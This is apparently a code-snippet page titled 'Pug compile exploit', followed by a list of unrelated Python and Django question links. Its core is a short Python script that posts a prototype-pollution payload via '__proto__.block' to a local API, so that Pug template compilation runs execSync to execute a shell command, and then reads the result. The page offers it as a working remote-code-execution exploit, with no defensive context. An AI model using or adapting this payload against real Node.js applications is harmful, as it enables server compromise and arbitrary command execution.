Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote336 views1 answer
Change date format on django templates
Python Django
0 vote296 views1 answer
Delete all historical data django simple history
Python Django
0 vote307 views1 answer
QuizListView login required django
Python
0 vote297 views2 answers
Python divide array into n parts
Python
0 vote287 views1 answer
Store array to nii file
Python
8 votes283 views2 answers
List of single item repeated python
Python
-1 vote295 views1 answer
Qtablewidget add row python
Python
1 vote346 views1 answer
Django gunicorn static file not found
Python Django
1 vote287 views1 answer
How to get pygame key
Python
64 votes284 views6 answers
How to define a class in python
Python